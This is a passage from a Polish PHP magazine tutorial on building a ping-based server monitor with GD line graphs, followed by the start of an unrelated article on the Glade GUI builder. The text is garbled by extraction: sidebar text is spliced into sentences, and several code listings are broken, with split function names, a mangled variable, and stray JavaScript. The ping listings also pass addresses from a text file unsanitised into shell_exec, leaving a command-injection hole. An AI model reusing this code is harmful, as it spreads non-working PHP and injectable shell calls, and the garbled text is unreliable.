mów w PHP (zbiór gotowych
funkcji grafi cznych PHP)
Co powinieneś wiedzieć...Powinieneś znać podstawy modułu GD.
Co obiecujemy...Dowiesz się jak stworzyć działającą
aplikację do monitorowania serwera ko-
rzystającą z GD.
Stopień trudności: ���
ServerMonitor
PHP Solutions Nr 2/2006
Projekty
www.phpsolmag.org 57
poszukać tylko kilku danych. Po pierwsze,
należy sprawdzić, czy w łańcuchu tym
znajduje się świadczący o braku odpowie-
dzi serwera ciąg Request timed out. Po
drugie, powinniśmy uzyskać dane o czasie
odpowiedzi serwera – czyli poszukać łań-
cucha time=. Na Listingu 2 zamieszczamy
kod PHP służący do wykonania testów
i wydobycia potrzebnych danych.
Teraz musimy poinformować nasz
skrypt o tym, które serwery należy te-
stować. Najłatwiejszym sposobem wy-
konania tego zadania jest pobranie listy
adresów IP z pliku. Skrypt przetestuje więc
wszystkie adresy IP, które znajdzie w pliku
tekstowym ips.txt. Na Listingu 3 prezentu-
jemy kod PHP umożliwiający załadowanie
adresów IP do naszego skryptu.
Przechowywanie wynikówWyniki będziemy przechowywać w pliku
tekstowym pingresult.txt. Choć dla niektó-
rych taki sposób może być kontrowersyjny
(będą twierdzić, że baza danych byłaby
lepszym rozwiązaniem), umożliwia on
zachowanie prostoty i uniwersalności
skryptu, tak aby mógł być uruchamiany na
prawie każdej maszynie – niezależnie od
tego, czy dostępne są na niej inne narzę-
dzia poza PHP.
Za pomocą naszej funkcji pingującej
sprawdzimy, czy plik pingresult.txt istnieje
i jeśli go nie ma, utworzymy go. Wyniki
najnowszego testu będą dodawane na
Rysunek 1. Strona wyników zawierająca wykres
WymaganiaSerwer WWW z uruchomionym PHP i aktywnym modułem grafi cznym GD.
Instalacja i testowanie systemuAby zainstalować system, należy rozpakować archiwum zawierające dwa pliki – line-
graph.php oraz ping.php. Następnie trzeba stworzyć plik tekstowy o nazwie ips.txt i umie-
ścić w nim adresy serwerów, które chcemy monitorować. Wszystkie pliki powinny się
znajdować w tym samym katalogu. Potem wystarczy otworzyć przeglądarkę i wpisać
adres pliku ping.php. Jeśli operacja się powiodła, serwery będą pingowane co 2 sekundy,
a wykres liniowy będzie automatycznie aktualizowany.
Moduł grafi czny GDModuł GD Graphics jest dołączany do wszystkich wersji PHP, począwszy od 4.3. Dzia-
ła on także z wcześniejszymi wersjami PHP, ale by z niego skorzystać, należy w takim
wypadku przeprowadzić instalację ręczną. W celu sprawdzenia, czy moduł GD Graphics
jest dostępny, wystarczy skorzystać z funkcji phpinfo(). Powinna ona zwrócić tabelę za-
wierającą pełną listę ustawień systemowych i środowiskowych, wśród których powinniśmy
odszukać sekcję o tytule GD. Znajduje się tam zmienna GD Support, która może przyjąć
jedną z dwóch wartości, informującą o włączonym bądź wyłączonym module (enabled
albo disabled). Jeśli Twoja instalacja PHP nie posiada sekcji GD, to moduł nie jest zain-
stalowany.
Jak zainstalować GDInstalacja biblioteki GD w środowisku Windows jest bardzo prosta. Wystarczy pobrać plik
php_gd2.dll lub php_gd.dll ze strony http://php.net/download.php, skopiować go do pod-
katalogu ext w katalogu z zainstalowanym PHP, a następnie dodać linię extension=php_
gd2.dll (lub extension=php_gd.dll) do sekcji Extension pliku php.ini (lub usunąć rozpo-
czynający ją znak komentarza). Moduł GD będzie dostępny po ponownym uruchomieniu
serwera WWW.
W środowisku Linux sytuacja jest nieco bardziej skomplikowana. Jeżeli nie chcemy
aktualizować parsera PHP, musimy pobrać archiwum zawierające GD ze strony http://
końcu pliku. Każdy wynik wymaga zapisa-
nia trzech informacji:
� adres IP,
� czas odpowiedzi serwera (w milise-
kundach),
� data i czas przeprowadzenia testu.
Każdy wiersz pliku wyników będzie zawie-
rał wszystkie trzy informacje oddzielone
przecinkami. Na Listingu 4 pokazujemy
odpowiadający za to kod PHP.
Teraz możemy odczytać listę adresów
IP do testowania, wykonać polecenie ping
dla każdego z nich i zapisać wyniki. Na-
sza funkcja pingująca jest gotowa (patrz
Listing 5).
Odświeżanie danychNastępny dylemat dotyczy sposobu wyko-
nywania regularnych testów serwerów – tu
też mamy kilka możliwości. Dla użytkowni-
ków systemów Linux/UNIX najbardziej
oczywistym wyborem byłoby zapewne
umieszczenie odpowiedniego polecenia
w kolejce demona cron. Nasz skrypt ma
być jednak przenośny, musi więc działać
poprawnie także w systemach, w których
cron jest niedostępny (np. MS Windows).
Jak więc rozwiążemy ten problem? Nasz
Server Monitoring System będzie aplikacją
webową, będziemy więc po prostu wywo-
ływać funkcję testującą za każdym razem,
gdy otwierana jest strona z wynikami.
Strona ta będzie zawierała obrazek
z wykresem i trochę kodu JavaScript.
Obrazek będzie generowany przez
ServerMonitor
PHP Solutions Nr 2/2006
Projekty
www.phpsolmag.org58
moduł GD, który jest często stosowany
w komputerowej obróbce grafi ki pod
PHP. Moduł ten jest domyślnie włączony
we wszystkich wersjach PHP nowszych
niż 4.3.
Natomiast kod JavaScript posłuży do
regularnego wykonywania funkcji i aktuali-
zacji wykresu w czasie rzeczywistym. Na
Listing 1. Wykonanie polecenia ping
// Wykonaj polecenie ping w zależności od systemu operacyjnego
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$command = shell_exec("ping -n 1 $ip[$i]"); // Polecenie ping (MS Windows)
} else {
$command = shell_exec("ping -c 1 $ip[$i]"); // Polecenie ping (UNIX/Linux)
}
Listing 2. Uzyskanie czasu pingowania ze zwróconego łańcucha $command
// Wydobądź czas pingowania ze zwróconego łańcucha
if (eregi("Request timed out", $command)) { // sprawdzenie opóźnień
$mstime = 0.0;
} else { // Ping zadziałał – pobierz czas
$mstime = 0.0;
$bp = stripos($command, "time=")+5;
$ep = stripos($command, "ms");
$mstime = substr($command, $bp, $ep-$bp);
}
$iptime[$i] = $mstime;
Listing 3. Pobieranie listy serwerów do tablicy
// Odczytaj listę adresów IP z pliku ips.txt
$linips.txtes = @fi le("ips.txt");
if (!$lines) { // Sprawdź, czy się nie udało
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
exit;
}
$ipcount = 0;
foreach ($lines as $line) {
$line = trim($line);
if (strlen($line)>0) {
$ip[$ipcount] = trim($line);
$ipcount++;
}
}
Listing 4. Zapisywanie wyników
// Zachowaj wyniki w pliku pingresult.txt
$handle = @fopen("pingresult.txt","a");
if (!$handle) {
print("Udało się otworzyć lub utworzyć plik: pingresult.txt<br>");
exit;
} else {
$datetime = time();
for ($i=0;$i<$ipcount;$i++) {
$result = $ip[$i].",".$iptime[$i].",".$datetime."\n";
if (!fwrite($handle, $result)) {
print("Nie można zapisać do pliku pingresult.txt");
exit;
}
}
}
fclose($handle);
Listingu 6 prezentujemy użyty przez nas
kod JavaScript. Jak widać, odświeża on
tylko stronę w X-sekundowych odstępach.
Wartość X ustawiliśmy na 2000 milisekund
(2 sekundy).
Nasza funkcja pingująca będzie nosiła
nazwę ping_function(). Będzie wywo-
ływana z centralnego skryptu, ping.php
(patrz Listing 7). Ten sam skrypt będzie
zresztą generował stronę z wynikami
przez wywołanie innej funkcji o nazwie
results_table(). Strona będzie się skła-
dała z małej tabeli w HTML-u, zawierają-
cej wyniki ostatniego testu ping każdego
z serwerów (patrz Listing 8).
Mamy już działający system zdolny
przetestować wszystkie serwery, zapisać
rezultaty i wyświetlić wyniki ostatniego
testu. Dodatkowo, nasz system automa-
tycznie wykona cały proces co każde
X sekund, aż do zakończenia sesji prze-
glądarki. Brakuje nam tylko grafi cznej
prezentacji wyników.
Prezentacja wyników – rysujemy wykresyJęzyk PHP umożliwia dynamiczne gene-
rowanie grafi ki. Wykorzystamy tę cechę
do tworzenia obrazów zawierających
wykresy liniowe. Kod odpowiedzialny za
rysowanie wykresów umieścimy w pliku
linegraph.php.
Pierwszym krokiem będzie utworze-
nie PHP-owego obiektu zawierającego
obraz. Dokonamy tego za pomocą funkcji
imagecreate(), tworząc obiekt o nazwie
$image. Następnie narysujemy wykres
w tym obiekcie. Na koniec uzyskamy dane
wyjściowe obiektu $image w standardo-
wym formacie i zwrócimy je do procesu
wywołującego. W naszym przypadku for-
matem wyjściowym będzie PNG, a obraz
zwrócimy do przeglądarki internetowej.
Kod wykonujący te czynności pokazujemy
na Listingu 9.
Język PHP pozwala uzyskać obraz
wyjściowy w różnych formatach, mię-
dzy innymi GIF, JPEG i TIFF. Jednak
w przypadku zastosowań wymagających
wykresów dobrze będzie użyć PNG, gdyż
format ten wykorzystuje bezstratny algo-
rytm kompresji i obsługuje większą paletę
kolorów niż GIF.
Musimy zapamiętać kilka ważnych
informacji. Po pierwsze, nasz skrypt
generuje nagłówki informujące przeglą-
darkę, że dostarczane dane mają postać
obrazu w formacie PNG. Istotne jest, by
skrypt nie wysyłał przeglądarce żadnych
innych danych, nawet znaku spacji czy
entera (CR). Jeśli tak się stanie, silnik
PHP automatycznie wyśle nagłówki in-
formujące o przesyłaniu pliku text/html,
a nasze wysiłki spełzną na niczym. Druga
istotna uwaga dotyczy faktu, iż ustawiamy
również wysokość i szerokość obrazu.
Wymiary te muszą dokładnie odpowiadać
ServerMonitor
PHP Solutions Nr 2/2006
Projekty
www.phpsolmag.org 59
parametrom width i height znacznika
<img> w dokumencie HTML, w którym
prezentujemy wyniki. Jeśli dane te nie
będą identyczne, wykres będzie znie-
kształcony.
Wróćmy teraz do rysowania wykresu.
Musimy wykonać następujące kroki:
Listing 5. Kompletna funkcja pingująca
function ping_function() { // Odczytaj listę adresów IP z pliku ips.txt
$lines = @fi le("ips.txt");
if (!$lines) { // Sprawdź, czy odczytanie się powiodło
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
exit;
}
$ipcount = 0;
foreach ($lines as $line) {
$line = trim($line);
if (strlen($line)>0) {
$ip[$ipcount] = trim($line);
$ipcount++;
}
} // Pinguj każdy z adresów IP
for ($i=0;$i<$ipcount;$i++) {
// Wykonaj polecenie ping w zależności od systemu operacyjnego
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$command = shell_exec("ping -n 1 $ip[$i]"); // Polecenie ping w MS Windows
} else {
$command = shell_exec("ping -c 1 $ip[$i]");
// Polecenie ping w systemach UNIX/Linux
} // Wydobądź czas pingowania ze zwróconego łańcucha
if (eregi("Request timed out", $command)) {// sprawdzenie opóźnień
$mstime = 0.0;
} else { // ping zadziałał, pobierz czas
$mstime = 0.0;
$bp = stripos($command, "time=")+5;
$ep = stripos($command, "ms");
$mstime = substr($command, $bp, $ep-$bp);
}
$iptime[$i] = $mstime;
} // Zapisz wyniki w pliku pingresult.txt
$handle = @fopen("pingresult.txt","a");
if (!$handle) {
print("Nie udało się otworzyć lub utworzyć pliku: pingresult.txt<br>");
exit;
} else {
$datetime = time();
for ($i=0;$i<$ipcount;$i++) {
$result = $ip[$i].",".$iptime[$i].",".$datetime."\n";
if (!fwrite($handle, $result)) {
print("Nie można zapisać wyników do pliku pingresult.txt");
exit;
}
}
}
fclose($handle);
return;
}
Listing 6. Funkcja do odświeżania – JavaScript
<script language='JavaScript'><!--
setTimeout('refresh()',2000);
function refresh() {
location.href = 'ping.php';
print "}
Listing 7. Podstawa skryptu pingu-
jącego
// Wywołaj funkcję pingującą
ping_function();
// Utwórz nagłówek strony ze
// skryptem odświeżającym
?><html>
<body>
<script language='JavaScript'>
<!--
setTimeout('refresh()',2000);
function refresh()
{
location.href = 'ping.php';
}
--></script><?php
// Wypisz wyniki ostatniego
// pingowania dla każdego adresu IP
results_table();
// Utwórz stopkę strony
?></body></html>
� odczytać informacje z dwóch plików:
ips.txt i pingresult.txt,
� określić kolor dla każdego z adresów IP,
� pobrać wyłącznie ostatnie 10 rezulta-
tów z pliku zawierającego wyniki,
� obliczyć (na podstawie czasów
pingowania) skalę, która obejmie
90 % powierzchni wykorzystywanej
siatki,
� narysować wykres.
Na Listingach 10 i 11 prezentujemy kod
wykonujący pierwsze cztery kroki – omó-
wimy ich najciekawsze fragmenty.
Pierwszy z nich dotyczy defi nicji
kolorów. Zanim dany kolor zostanie
wykorzystany przez funkcję rysującą,
musi zostać zdefi niowany i dodany do
palety obrazu. Służy do tego funkcja
imagecolorallocate(). Po drugie, aby
proces rysowania wykresu przebiegał
szybko i prosto, uwzględnimy tylko 10
ostatnich wyników z pliku. Ostatni istot-
ny fragment kodu dotyczy obliczania
skali – aplikacja powinna być prosta
i szybka w działaniu, więc nasze obli-
czenia będziemy przeprowadzać w spo-
sób dość podstawowy, choć technicznie
poprawny.
Teraz musimy tylko wygenerować wy-
kres. W tym celu powinniśmy narysować:
� tło,
� siatkę,
� etykiety osi X,
� etykiety osi Y,
� legendę.
Oczywiście, musimy też umieścić na
wykresie dane o odpowiednich warto-
ściach.
Wszystkie te zadania zrealizujemy za
pomocą osobnych funkcji, które przedsta-
ServerMonitor
PHP Solutions Nr 2/2006
Projekty
www.phpsolmag.org60
wiamy na Listingach 12 i 13. Przeanalizuj-
my ich najważniejsze aspekty.
Pierwszą interesującą funkcją jest
imagefi lledrectangle(). Wypełnia ona
prostokąt określonym kolorem (zdefi niowa-
nym wcześniej). Funkcję tę wykorzystamy
później w innej funkcji, o nazwie draw_
background(), aby wypełnić cały obraz
kolorem tła (w tym przypadku czarnym).
Kolejną ważną funkcją jest wbudo-
wana do modułu GD imageline(), która
odpowiada za rysowanie linii prostych.
Jest na tyle elastyczna, że pozwala ryso-
wać różne rodzaje linii – od ciągłych do
linii o zdefi niowanym typie. Wykorzystamy
tę możliwość w kolejnej funkcji, którą na-
zwiemy draw_grid(). Jej zadaniem będzie
rysowanie siatki w postaci zielonych linii
przerywanych.
Funkcje draw_xlabels(), draw_
ylabels() oraz draw_legend() posłużą
nam do umieszczenia opisów: etykiet osi
X i Y oraz legendy. Każda z nich będzie
korzystać z funkcji imagestring(), uży-
wanej do umieszczania tekstu. Niezbęd-
ne parametry to umiejscowienie obrazu,
czcionka, pozycja pozioma (x), pozycja
pionowa (y), tekst do wyświetlenia i je-
go kolor. My użyjemy prostych czcionek
dostępnych we wszystkich instalacjach
PHP, choć mamy również możliwość
korzystania z czcionek TrueType i Free-
Type.
Przejdźmy do naszej następnej funk-
cji o nazwie plot_values(). Będzie ona
odpowiadała za dwie rzeczy – rysowanie
linii ciągłych pomiędzy punktami danych
za pomocą funkcji imageline(), a na-
stępnie za rysowanie małych okręgów dla
każdej wartości danych przy użyciu funk-
cji imagearc(). I to wszystko – nasz skrypt
linegraph.php jest gotowy.
Wywoływanieskryptu linegraph.phpAby dodać wykres do strony HTML z wy-
nikami, korzystamy ze znacznika <img>,
którego element SRC wskazuje na skrypt
linegraph.php. Jedyne parametry, na które
powinniśmy zwrócić uwagę, to wysokość
i szerokość – wymiary te muszą się zga-
dzać z ustawionymi na początku skryptu
linegraph.php:
<img src='linegraph.php' width='660'
height='400'>
Linijkę tę należy umieścić na samym koń-
cu skryptu ping.php (patrz Listing 14).
Listing 8. Funkcja results_table()
function results_table() {
// Określ liczbę adresów IP
$lines = @fi le("ips.txt");
if (!$lines) { // Sprawdź, czy się nie udało
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
exit;
}
$ipcount = 0;
foreach ($lines as $line) {
$line = trim($line);
if (strlen($line)>0) {
$ip[$ipcount] = trim($line);
$ipcount++;
}
}
$lines = @fi le("pingresult.txt");
if (!$lines) { // See if it failed
print("Błąd ładowania pliku: pingresult.txt<br>");
exit;
}
else {
foreach ($lines as $line) {
// Każda linia pliku z wynikami zawiera 3 elementy reprezentujące:
// adres IP, czas pingowania w ms i datę pingowania
$components = explode(",", $line);
$series = -1;
for ($i=0;$i<$ipcount;$i++) {
if (strcasecmp($components[0], $ip[$i]) == 0) { $series = $i; }
if ($series > -1) {
$ip_datetime[$series] = date("Y-m-d G:i:s",$components[2]);
$ip_time[$series] = $components[1];
}
}
}
}
// Tabela rozpoczynająca plik HTML
$content = "<table width='400' border='1' cellspacing='0' cellpadding='5'
bgcolor='#FFFFFF'>\n<tr bgcolor='#CCFFFF'> \n<td colspan='3'> \n".
" <div align='center'><font color='#006666'><b><font face='Arial, Helvetica,
sans-serif' size='2'>Wyniki ostatniego pingowania</font></b></font>
</div></td></tr><tr><td>".
" <div align='left'><font color='#006666'><b><font face='Arial, Helvetica,
sans-serif' size='2'>Adres IP</font></b></font></div></td><td> \n".
" <div align='left'><font color='#006666'><b><font size='2' face='Arial,
Helvetica, sans-serif'>Date/Time</font></b></font></div></td><td>\n".
" <div align='left'><font color='#006666'><b><font face='Arial, Helvetica,
sans-serif' size='2'>Czas pingowania</font></b></font></div></td></tr>\n";
for ($i=0;$i<$ipcount;$i++) {
// Dodaj do tabeli wiersz dla każdego IP
$content = $content." <tr><td>".
" <div align='left'><font face='Arial, Helvetica, sans-serif'
size='2'>".$ip[$i]."</font></div></td><td>".
" <div align='left'><font face='Arial, Helvetica, sans-serif'
size='2'>".$ip_datetime[$i]."</font></div></td><td> \n".
" <div align='left'><font face='Arial, Helvetica, sans-serif'
size='2'>".$ip_time[$i]."ms</font></div></td></tr>\n";
}
// Koniec tabeli (HTML)
$content = $content."</table>\n";
// Wyświetl tabelę
print $content;
return;
}
ServerMonitor
PHP Solutions Nr 2/2006
Projekty
www.phpsolmag.org 61
Nasz Server Monitoring System jest
gotowy. Możemy zatem zająć się jego
instalacją i testowaniem.
Dalszy rozwój systemuStworzony przez nas system monitoro-
wania jest szybki i prosty – może być
używany na niemal każdym serwerze.
Oznacza to jednak, że nie mogliśmy za-
implementować pewnych funkcji. Przede
wszystkim, proces monitorujący jest ak-
tywny wyłącznie podczas oglądania strony
z wynikami. Aby to zmienić, musielibyśmy
wykorzystać oprogramowanie obsługujące
działania cykliczne (na przykład demona
cron) i umieścić funkcję ping_function()
w osobnym skrypcie. Czy warto? O tym
powinniście zadecydować sami. Zalety
takiego rozwiązania to między innymi
możliwość informowania o awariach ser-
wera, choćby za pośrednictwem poczty
elektronicznej. Jednak z drugiej strony,
taka funkcjonalność może powodować
pewne problemy – na przykład obciążenie
systemu e-mailowego w przypadku czę-
stych awarii.
Inne utrudnienie wiąże się z tym, że
w wielu instalacjach PHP włączana jest
opcja safe_mode (w pliku php.ini). Unie-
możliwia ona używanie niektórych spośró
wykorzystywanych przez program pin-
gujący funkcji, włącznie z shell_exec().
Opcja ta jest często aktywna na serwe-
rach współdzielonych, udostępnianych
przez dostawców Internetu. Aplikacja
umieszczona na takiej maszynie wyma-
gałaby więc wykorzystania innej metody
testowania naszych serwerów. Można na
przykład nawiązać z testowanym serwe-
rem połączenie typu socket za pomocą
funkcji fsockopen() lub – jeżeli omawiany
serwer jest serwerem WWW – po prostu
zmierzyć czas otwarcia strony domowej
witryny. Warto jednak rozważyć, czy
umieszczenie naszego programu na ser-
werze współdzielonym w ogóle ma sens.
Serwery tego typu generują przecież
duży ruch i mają małą wydajność, a my
potrzebujemy dość szybkiej maszyny. Le-
piej więc zainstalować aplikację na kom-
puterze lokalnym, na którym postawimy
serwer WWW.
Co więcej, jeżeli nasza aplikacja
ma testować wiele serwerów przez
długi czas, lepiej byłoby dodać funkcje
zarządzające plikiem z wynikami, na
przykład w celu wyczyszczenia go, gdy
lista stanie się zbyt długa, lub w celu
archiwizacji najstarszych wpisów. Warto
Listing 9. Generowanie obrazu PNG
$width = 660;
$height = 400;
// Utwórz obraz, na którym będziemy rysować wykres
$image = @imagecreate($width, $height) or die(
"Nie można zainicjalizować nowego strumienia obrazu GD");
// Ustaw dane nagłówkowe. Upewnij się, że przeglądarka nie buforuje obrazów
header('Expires: Sat, 01 January 2000 05:00:00 GMT');
header('Last-Modifi ed: ' . gmdate('D, d M Y H:i:s') . 'GMT');
header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache'); // Ustaw format obrazu
header("Content-type: image/png"); // Wyślij obraz do przeglądarki
imagepng($image);
// Zniszcz zasoby i zakończ
imagedestroy($image);
exit;
// NIE UMIESZCZAJ NICZEGO PONIŻEJ ZAMYKAJĄCEGO ZNACZNIKA PHP, NAWET SPACJI ANI
// POWROTU KARETKI, BO WYKRES NIE ZOSTANIE WYGENEROWANY!!!
?>
Listing 10. Defi niowanie i obliczanie parametrów wykresu
// Ustaw kolory i rozmiar czcionki
$backgroundcolor = imagecolorallocate($image, 0, 0, 0);
$gridlinecolor = imagecolorallocate($image, 0, 150, 0);
$labelcolor = imagecolorallocate($image, 255, 255, 255);
$font=2;
// Określ liczbę adresów IP, które uwzględni rysunek
$lines = @fi le("ips.txt");
if (!$lines) { // Sprawdź, czy się nie udało
print("Błąd ładowania pliku z adresami IP: ips.txt<br>");
exit;
}
$ipcount = 0;
foreach ($lines as $line) {
$line = trim($line);
if (strlen($line)>0) {
$ip[$ipcount] = trim($line);
$ipcount++;
}
} // Ustaw kolor dla każdego z adresów IP
for ($i=0;$i<=$ipcount;$i++) {
// Pierwsze 3 adresy IP mają zdefi niowane kolory.
// Dla kolejnych adresów wartość kolorów zostanie obliczona.
if ($i<=3) {
switch ($i) {
case 0: $ipcolor[$i] = imagecolorallocate($image, 255, 50, 50); break;
case 1: $ipcolor[$i] = imagecolorallocate($image,100, 100, 255);break;
case 3: $ipcolor[$i] = imagecolorallocate($image, 255, 0, 255); break;
}
} else {
$red = $i*200;
$green = 128 + $i*150;
$blue = 255 - $i*100;
while ($red>255) {$red = $red - 250;}
while ($green>255) {$green = $green - 250;}
while ($blue<0) {$blue = $blue + 250;}
$ipcolor[$i] = imagecolorallocate($image, $red, $green, $blue);
}
} // Oczytaj dane z pliku pingresult.txt. Uruchom liczniki
for ($i=0;$i<=$ipcount;$i++) {
$ip_count[$i] = 0;
}
$lines = @fi le("pingresult.txt");
if (!$lines) { // Sprawdź, czy się nie udało
print("Błąd ładowania pliku: pingresult.txt<br>");
exit;
}
ServerMonitor
PHP Solutions Nr 2/2006
Projekty
www.phpsolmag.org62
Listing 11. Defi niowanie i oblicznie parametrów wykresu, c.d.
else {
foreach ($lines as $line) {
// Każda linia pliku z wynikami zawiera 3
// elementy reprezentujące: adres IP,
// czas pingowania w ms i datę pingowania
$components = explode(",", $line);
$series = -1;
for ($i=0;$i<$ipcount;$i++) {
if(strcasecmp($components[0],$ip[$i])==0)
{$series = $i;}
}
if ($series > -1) {
$ip_data[$series][$ip_count[$series]]=
$components[1];
$ip_time[$series][$ip_count[$series]]=
$components[2];
$ip_count[$series]++;
}
}
}
// Posortuj dane i wskaż 10 ostatnich obiektów
// dla każdego adresu IP na wykresie
for ($j=0;$j<10;$j++) {
for ($i=0;$i<$ipcount;$i++) {
$points[$i][$j] = 0.0;
}
$xlabel[$j] = " ";
}
$npoints = 0;
while($npoints<=10&&($ip_count[0]-$npoints)>-1){
for ($i=0;$i<$ipcount;$i++) {
$points[$i][10-$npoints]=$ip_data[$i]
[$ip_count[$series]-$npoints];
}
$xlabel[10-$npoints]=date("G:i:s",$ip_time[0]
[$ip_count[$series]-$npoints]);
$npoints++;
}
// Oblicz skalę wykresu
$max = -999999.99;
$min = 999999.99;
// Oblicz wartości minimalne i maksymalne
for ($j=0;$j<10;$j++) {
for ($i=0;$i<$ipcount;$i++) {
if ($points[$i][$j]>$max){
$max = $points[$i][$j];
}
if($points[$i][$j]<$min){
$min = $points[$i][$j];
}
}
}
// Oblicz skalę tak, by maksymalne
// wartości wyniosły 90% skali
$range = $max - $min;
$max = $max + $range/20;
$min = $min - $range/20;
$starty = $min;
$scale = ($max - $min)/10;
Listing 12. Rysowanie elementów wykresu liniowego
function draw_background() {
global $image,$backgroundcolor,$width,$height;
// Kolor tła
imagefi lledrectangle($image,0,0,$width,$height,
$backgroundcolor);
return;
}
function draw_grid() {
global $image, $gridlinecolor;
// Rysuj siatkę. Ustaw styl linii tak,
// aby były one przerywane
$style=array($gridlinecolor,$backgroundcolor);
imagesetstyle($image, $style);
// pionowe linie siatki
for ($i = 0; $i <= 10; $i++) {
imageline($image,50+60*$i,50,50+60*$i,350,
IMG_COLOR_STYLED);
}
// poziome linie siatki
for ($i = 0; $i <= 10; $i++) {
imageline($image,50,50+$i*30,650,50+$i*30,
IMG_COLOR_STYLED);
}
return;
}
function draw_xlabels() {
global $image,$labelcolor,$xlabel,$font;
// Rysuj etykiety osi X
for($i=0;$i< 10;$i++){
imagestring($image,$font,50+60*$i,355,$xlabel[$i],
$labelcolor);
}
return;
}
function draw_ylabels() {
global $image, $labelcolor, $font, $starty, $scale;
// Rysuj wartości osi Y
for ($i = 0; $i <= 10; $i++) {
$yvalue = $starty + $i * $scale;
$format_yvalue=number_format($yvalue,2,".",",");
$format_yvalue = $format_yvalue."ms";
imagestring($image,$font,3,342-$i*30,
$format_yvalue,$labelcolor);
}
return;
}
function draw_legend() {
global $image,$ipcolor,$ip,$ipcount,$font;
for ($i=0;$i<$ipcount;$i++) {
imagestring($image,$font,50+$i*100,20,$ip[$i],
$ipcolor[$i]);
}
return;
}
ServerMonitor
PHP Solutions Nr 2/2006
Projekty
www.phpsolmag.org 63
też rozważyć użycie bazy danych (najle-
piej szybkiej).
Wreszcie, funkcjonalność funkcji
rysującej wykresy z założenia jest
ograniczona. Można rozważyć wpro-
wadzenie pewnych ulepszeń, takich jak
zwiększenie ilości umieszczanych da-
nych, tudzież rozbudowa mechanizmu
obliczania skali.
PodsumowanieNasz system Server Monitor to do-
skonały przykład możliwości języka
PHP związanych z rysowaniem wykre-
sów. Wykazaliśmy, że dane w postaci
grafi cznej mają większe znaczenie,
a ich interpretacja przez użytkownika
jest łatwiejsza i szybsza. Co więcej,
gruntownie przedstawiliśmy możliwości
biblioteki GD, służącej jako silnik odpo-
wiadający za wizualną stronę aplikacji.
Warto posłużyć się naszym przykładem
jako punktem wyjścia do do dalszego
zgłębiania wiedzy o bibliotece GD i ge-
nerowaniu wykresów za pomocą języka
PHP. �
Listing 13. Rysowanie elementów wykresu liniowego, c.d.
function plot_values() {
global $image, $starty, $scale, $points, $ipcolor, $ipcount;
// rysuj linie
for ($j=1;$j<10;$j++) {
for ($i=0;$i<$ipcount;$i++) {
// Oblicz pozycję końca linii
$x1 = 80 + 60*$j;
$y1 = 350 - (($points[$i][$j]-$starty)*30)/$scale;
// Oblicz pozycję początku linii
$x2 = 80 + 60*($j-1);
$y2 = 350 - (($points[$i][$j-1]-$starty)*30)/$scale;
// Rysuj linię
imageline ($image, $x2, $y2, $x1, $y1, $ipcolor[$i]);
}
}
// Rysuj punkty
for ($j=0;$j<10;$j++) {
for ($i=0;$i<$ipcount;$i++) {
// Oblicz pozycję tego punktu
$xpos = 80 + 60*$j;
$ypos = 350 - (($points[$i][$j]-$starty)*30)/$scale;
// Rysuj punkt
imagearc ( $image, $xpos, $ypos, 4, 4, 0, 360, $ipcolor[$i]);
}
}
return;
}
Listing 14. Dodanie wykresu liniowego do strony z wynikami
// Rysuj wyniki
// z pliku pingresult.txt
print("<br><br>Ping Results
Graph<br>\n");
print("<IMG SRC='linegraph.php'
WIDTH='660' HEIGHT='400'><BR>\n");
Patrick O'Brien jest założycielem
i twórcą strony Jpowered.com oferującej
zaawansowane oprogramowanie dla
projektantów WWW i programistów.
Witryna autora:
http://www.jpowered.com
O autorze
R E K L A M A
www.phpsolmag.org64
Projekty
PHP Solutions Nr 2/2006
Glade to narzędzie ułatwiające
tworzenie opartych na GTK inter-
fejsów dla aplikacji napisanych
m.in. w C++, Pythonie, PHP czy Perlu. Za
jego pomocą w prosty sposób umiescimy
potrzebne elementy, m.in. okna, listy, przy-
ciski i ramki. Glade służy wyłącznie do ge-
nerowania struktury interfejsu użytkownika
i nie jest edytorem kodu, ani środowiskiem
programistycznym.
Ostateczny układ interfejsu jest zapi-
sywany w XML-owym pliku o rozszerzeniu
.glade.
Podstawy Glade’aPasek narzędzi w głównym oknie progra-
mu Glade zawiera przyciski podstawowych
operacji Otwórz i Zapisz, przycisk opcji
projektu oraz listę okien zawierających
projekty. Menu Edycja zawiera typowe
operacje Wytnij, Skopiuj i Wklej, a w menu
Widok dostępne są opcje wyświetlania po-
szczególnych okien interfejsu Glade (pale-
ty, właściwości i innych) – patrz Rysunek 1.
Ręczne stworzenie interfejsu grafi cznego GTK
dla aplikacji PHP nie jest zadaniem trudnym,
a może zaowocować lepszą wydajnością.
Wymaga jednak sporo czasu, którego twórcom
aplikacji często brakuje. W takiej sytuacji
konieczne staje się skorzystanie z narzędzia
grafi cznego...
Paleta
Pierwszym elementem każdego projektu
Glade jest okno, dostępne jako pierw-
szy element palety Glade (Rysunek 2)
i reprezentujące komponent GtkWindow.
Kliknięcie elementu Okno na palecie
spowoduje wyświetlenie pierwszego
okna tworzonego interfejsu, w którym
możemy następnie umieszczać kolej-
ne komponenty (widgety) dostępne na
palecie, na przykład GtkHBox (skrzynkę
poziomą), GtkVBox (skrzynkę pionową),
Glade GUI Builder– piszemy generator fakturPablo Dall’Oglio
W SIECI
1. http://glade.gnome.org
– strona główna projektu
Glade
2. http://http://gladewin32.so-
urceforge.net/ – Glade dla
Windows
3. http://developer.gnome.org/
doc/API/2.0/pango/
PangoMarkupFormat.html
– dokumentacja formatu
Pango
4. http://gtk.php.net – strona
główna PHP-GTK
Co powinieneś wiedzieć...Powinieneś znać podstawy tworzenia
aplikacji z GUI i pracy z PHP-GTK. Przy-
da się również znajomość zasad progra-
mowania obiektowego.
Co obiecujemy...Dowiesz się jak napisać aplikację PHP5
generującą faktury, z GUI stworzonym
przy użyciu programu Glade i dołączo-
nym do aplikacji za pomocą rozszerzenia
PHP-GTK.
Stopień trudności: ���
Glade
www.phpsolmag.org 65
Projekty
PHP Solutions Nr 2/2006
GtkFixed (komponent pozycjonowania
bezwzględnego), GtkLabel (etykietę),
GtkEntry (pole tekstowe), GtkRadioButton,
GtkCheckButton, GtkFrame, GtkImage,
GtkComboBox, GtkToolBar i inne.
Lista komponentów jest podzielona na
strony zawierające widgety podstawowe,
dodatkowe i przestarzałe, przy czym te
ostatnie obejmują stare komponenty Gtk1
